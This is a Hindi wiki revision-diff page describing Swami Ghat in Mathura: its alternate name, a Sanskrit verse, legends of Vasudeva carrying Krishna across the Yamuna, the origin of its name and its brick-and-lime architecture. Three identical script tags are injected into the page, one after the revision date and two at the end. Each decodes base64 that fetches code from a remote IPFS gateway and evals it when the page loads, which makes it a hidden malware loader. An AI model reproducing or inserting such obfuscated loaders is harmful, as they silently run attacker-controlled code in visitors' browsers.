"स्वामी घाट" के अवतरणों में अंतर

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से
नेविगेशन पर जाएँ खोज पर जाएँ
छो (Text replace - " ।" to "।")
 
(४ सदस्यों द्वारा किये गये बीच के ५ अवतरण नहीं दर्शाए गए)
पंक्ति १: पंक्ति १:
 
{{Tourism3
 
{{Tourism3
|Image=Blank-Image-2.jpg
+
|Image=Swami Ghat Mathura-1.jpg
|Location=यह [[मथुरा]] के परिक्रमा मार्ग पर स्थित है ।
+
|Location=यह [[मथुरा]] के परिक्रमा मार्ग पर स्थित है।
 
|Near=[[बिहारी जी मन्दिर, मथुरा|बिहारी जी मन्दिर]], [[गोवर्धननाथ जी मन्दिर]], [[दीर्घ विष्णु मन्दिर]], [[श्रीनाथ जी भण्डार मन्दिर]], [[गोपी नाथ जी मन्दिर, मथुरा|गोपी नाथ जी मन्दिर]], [[सती बुर्ज]], [[विश्राम घाट]], [[द्वारिकाधीश मन्दिर]]
 
|Near=[[बिहारी जी मन्दिर, मथुरा|बिहारी जी मन्दिर]], [[गोवर्धननाथ जी मन्दिर]], [[दीर्घ विष्णु मन्दिर]], [[श्रीनाथ जी भण्डार मन्दिर]], [[गोपी नाथ जी मन्दिर, मथुरा|गोपी नाथ जी मन्दिर]], [[सती बुर्ज]], [[विश्राम घाट]], [[द्वारिकाधीश मन्दिर]]
 
|Archeology=निर्माणकाल- सत्रहवीं शताब्दी
 
|Archeology=निर्माणकाल- सत्रहवीं शताब्दी
पंक्ति ९: पंक्ति ९:
 
}}
 
}}
 
==स्वामी घाट / Swami Ghat==
 
==स्वामी घाट / Swami Ghat==
इस घाट को [[संयमन तीर्थ]] भी कह्ते है ।
+
इस घाट को [[संयमन तीर्थ]] भी कह्ते है।
<blockquote>तत: संयमनं नाम तीर्थं त्रैलोक्यविश्रुतम् ।<br />
+
<blockquote>तत: संयमनं नाम तीर्थं त्रैलोक्यविश्रुतम्।<br />
तत्र स्नातो नरो देवि ! मम लोकं स गच्छति ।।</blockquote>
+
तत्र स्नातो नरो देवि ! मम लोकं स गच्छति।।</blockquote>
इसका वर्त्तमान नाम स्वामी घाट है । किसी–किसी का कहना है कि महाराज [[वसुदेव]] ने नवजात शिशु [[कृष्ण]] को गोदी में लेकर यहीं से [[यमुना]] पार की थी । यहाँ स्नान करने पर भगवद् धाम की प्राप्ति होती है ।
+
इसका वर्त्तमान नाम स्वामी घाट है। किसी–किसी का कहना है कि महाराज [[वसुदेव]] ने नवजात शिशु [[कृष्ण]] को गोदी में लेकर यहीं से [[यमुना]] पार की थी। यहाँ स्नान करने पर भगवद् धाम की प्राप्ति होती है।
 
== इतिहास==
 
== इतिहास==
क्योंकि यह घाट नगर के मुख्य बाज़ार के सामने स्थित है इसलिए यह नाम (स्वामी घाट) शब्द ‘सामने’ का विकृत रूप है । यहाँ उत्कीर्णित पत्थरों से निर्मित कोठी स्थित है जिसका निर्माण बरसाने के रूप राम कटारा ने किया था ।
+
क्योंकि यह घाट नगर के मुख्य बाज़ार के सामने स्थित है इसलिए यह नाम (स्वामी घाट) शब्द ‘सामने’ का विकृत रूप है। यहाँ उत्कीर्णित पत्थरों से निर्मित कोठी स्थित है जिसका निर्माण बरसाने के रूप राम कटारा ने किया था।
 
==वास्तु==
 
==वास्तु==
यहाँ पाँच बुर्ज व चौदह सीढ़ियाँ मात्र ही बचे हैं । इसे बनाने में लखोरी ईंट व चूने का इस्तेमाल किया गया है ।
+
यहाँ पाँच बुर्ज व चौदह सीढ़ियाँ मात्र ही बचे हैं। इसे बनाने में लखोरी ईंट व चूने का इस्तेमाल किया गया है।
==वीथिका==
+
==सम्बंधित लिंक==
==अन्य लिंक==  
+
{{ब्रज के दर्शनीय स्थल}}
{{यमुना के घाट}}
+
[[Category: कोश]]
[[श्रेणी: कोश]]
+
[[Category:दर्शनीय-स्थल]]
[[category:दर्शनीय-स्थल]]
 
 
__INDEX__
 
__INDEX__
 +
__NOTOC__

१३:११, २ नवम्बर २०१३ के समय का अवतरण

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

स्थानीय सूचना
स्वामी घाट

Swami Ghat Mathura-1.jpg
मार्ग स्थिति: यह मथुरा के परिक्रमा मार्ग पर स्थित है।
आस-पास: बिहारी जी मन्दिर, गोवर्धननाथ जी मन्दिर, दीर्घ विष्णु मन्दिर, श्रीनाथ जी भण्डार मन्दिर, गोपी नाथ जी मन्दिर, सती बुर्ज, विश्राम घाट, द्वारिकाधीश मन्दिर
पुरातत्व: निर्माणकाल- सत्रहवीं शताब्दी
वास्तु:
स्वामित्व: उत्तर प्रदेश सरकार
प्रबन्धन:
स्त्रोत: इंटैक
अन्य लिंक:
अन्य:
सावधानियाँ:
मानचित्र:
अद्यतन: 2009

स्वामी घाट / Swami Ghat

इस घाट को संयमन तीर्थ भी कह्ते है।

तत: संयमनं नाम तीर्थं त्रैलोक्यविश्रुतम्।
तत्र स्नातो नरो देवि ! मम लोकं स गच्छति।।

इसका वर्त्तमान नाम स्वामी घाट है। किसी–किसी का कहना है कि महाराज वसुदेव ने नवजात शिशु कृष्ण को गोदी में लेकर यहीं से यमुना पार की थी। यहाँ स्नान करने पर भगवद् धाम की प्राप्ति होती है।

इतिहास

क्योंकि यह घाट नगर के मुख्य बाज़ार के सामने स्थित है इसलिए यह नाम (स्वामी घाट) शब्द ‘सामने’ का विकृत रूप है। यहाँ उत्कीर्णित पत्थरों से निर्मित कोठी स्थित है जिसका निर्माण बरसाने के रूप राम कटारा ने किया था।

वास्तु

यहाँ पाँच बुर्ज व चौदह सीढ़ियाँ मात्र ही बचे हैं। इसे बनाने में लखोरी ईंट व चूने का इस्तेमाल किया गया है।

सम्बंधित लिंक

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>